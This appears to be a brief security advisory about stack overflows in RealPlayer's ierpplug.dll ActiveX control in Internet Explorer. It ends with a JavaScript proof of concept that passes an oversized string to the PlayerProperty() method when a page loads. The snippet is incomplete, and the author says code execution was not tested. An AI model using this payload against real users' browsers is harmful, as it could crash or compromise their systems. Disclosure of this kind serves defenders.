There are multiple stack overflows in the ierpplug.dll ActiveX Control. These issues were originally discovered by 
shinnai, http://www.securityfocus.com/bid/22811 and http://www.securityfocus.com/bid/21802. I am adding the Import() 
and PlayerProperty() functions to the list. This was tested on Windows XP SP2 fully patched, using IE 6; RealPlayer 
version 11, build, dist R41R01, ierpplug.dll version I have not tested code execution. PoC as 

written by e.b.
  <script language="JavaScript" DEFER>
    function Check() {
    var s = "AAAA";

    while (s.length < 999999) s=s+s;

     var obj = new ActiveXObject("IERPCTL.IERPCTL"); //{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}

      var obj2 = obj.PlayerProperty(s);


 <body onload="JavaScript: return Check();">
